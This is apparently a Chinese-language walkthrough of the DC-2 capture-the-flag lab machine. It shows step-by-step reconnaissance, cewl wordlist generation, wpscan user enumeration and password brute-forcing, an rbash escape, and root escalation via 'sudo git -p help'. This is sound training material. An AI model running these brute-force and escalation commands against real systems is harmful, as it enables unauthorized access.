前面做法和DC-1差不多,信息收集
ifconfig
nmap 192.168.61.0/24
输入IP后会跳转域名,但是无法访问页面
发现问题是本地无法解析域名dc-2(看的别人的解释)
要配置可以解析的文件
在命令行中输入 vim /etc/hosts (修改配置文件需要root权限)
要在虚拟机中输入IP才可以,因为文件是在虚拟机配置的
flag1:
提示爆破字典只需要cewl产生的字典即可,并且可能可以爆破出两个不同的账号,可能一个无效
mkdir tmp 创建一个文件夹tmp
cd tmp 进入该文件夹
mkdir dc2 在这个文件夹里再创一个文件夹 de2
cd dc2 进入该文件夹
然后扫描目录
dirb http://dc-2
打开这个网站,会有输入账号密码的界面,然后就可以爆破了
http://dc-2/wp-admin/network/
使用kali自带的cewl生成一个通用的passwd字典:
cewl http://dc-2 -w ~/tmp/dc2/passwd.dic
ls查看dc2目录查看到字典
使用 wpscan 进行用户枚举(在此之前要使用wpscan --updata更新一下)
wpscan --update
wpscan --url http://dc-2 -e u
找到用户名admin、jerry、tom,使用vim将用户名保存在user.dic中
vim user.dic
查看文件可以看到
使用wpscan调用user字典和passwd字典进行爆破
wpscan --url dc-2 -U user.dic -P passwd.dic
新建一个文件夹,用来保存账号和密码
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
得到了tom和jerry的密码
jerry中有flag ,tom中没有
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
提示换个入口,联想之前靶机开放的端口号不仅有80端口,还提供了7744ssh远程登陆端口
注:
nmap -A -p- 192.168.61.130
nmap 192.168.61.0/24
第一个可以查出几乎全部端口:80,7744
第二个只能查出一部分:80
ssh jerry@dc-2 -p 7744
使用jerry登陆ssh,ssh jerry@dc-2 -p 7744
但不对,用 ssh tom@dc-2 -p 7744
查找flag3.txt出了问题
受限的 bash -- rbash (kuanghy.github.io)
可以查一下rbash绕过方式
(70条消息) rbash绕过_一只xiao白的博客-CSDN博客_rbash绕过
echo $0
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
再次执行命令就可以成功
cat flag3.txt
flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
提示su jerry
cat /etc/passwd 发现有jerry用户名(这一步不理解)
su jerry 变更身份
直接 cd 进入jerry系统,然后 ls 发现flag4.txt
cat flag4.txt
flag4
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
注:
root访问git不需要密码
对git提权:
sudo git -p help
!/bin/sh
cd /root
进入root权限
cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.